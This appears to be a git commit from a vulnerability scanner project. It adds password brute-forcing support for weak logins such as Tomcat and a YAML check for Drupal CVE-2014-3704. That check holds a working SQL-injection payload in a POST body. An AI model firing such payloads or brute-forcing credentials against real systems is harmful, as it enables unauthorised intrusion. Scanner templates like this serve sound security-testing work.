修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml

2026-09-26 05:01:53 +08:00 · 2021-02-25 19:53:58 +08:00
parent 0df4e314d1
commit 41deddb132
28 changed files with 480 additions and 1 deletions
@@ -0,0 +1,14 @@
+name: poc-yaml-drupal-cve-2014-3704-sqli
+rules:
+  - method: POST
+    path: /?q=node&destination=node
+    body: >-
+      pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or
+      updatexml(0x23,concat(1,md5(666)),1)%23]=bob&name[0]=a
+    follow_redirects: false
+    expression: |
+      response.status == 500 && response.body.bcontains(b"PDOException") && response.body.bcontains(b"fae0b27c451c728867a567e8c1bb4e53")
+detail:
+  Affected Version: "Drupal < 7.32"
+  links:
+    - https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2014-3704